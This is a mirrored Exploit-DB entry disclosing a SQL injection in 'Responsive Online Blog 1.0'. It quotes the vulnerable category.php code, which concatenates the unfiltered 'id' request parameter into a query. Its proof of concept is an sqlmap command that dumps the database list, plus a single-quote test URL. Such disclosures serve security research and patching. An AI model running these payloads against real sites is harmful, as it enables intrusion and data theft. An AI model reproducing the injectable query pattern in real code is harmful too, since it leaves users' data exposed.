exploit-db-mirror/exploits/php/webapps/48615.txt
Offensive Security b8629afe42 DB: 2020-06-24
4 changes to exploits/shellcodes

Code Blocks 20.03 - Denial Of Service (PoC)

Lansweeper 7.2 - Incorrect Access Control
Responsive Online Blog 1.0 - 'id' SQL Injection
Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)
2020-06-24 05:01:53 +00:00

21 lines
No EOL
787 B
Text

# Exploit Title: Responsive Online Blog 1.0 - 'id' SQL Injection
# Date: 2020-06-23
# Exploit Author: Eren Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: Linux - Wamp Server
>Vulnerable File
/category.php
>Vulnerable Code
$id=$_REQUEST['id'];
$query="SELECT * from blog_categories where id='".$id."'";
Id parameter enters sql query without any changes
>Proof Of Concept
sqlmap 'http://localhost/resblog/category.php?id=1' --dbs --batch
OR
http://TARGET/resblog/category.php?id=1' Single Quote will cause SQL error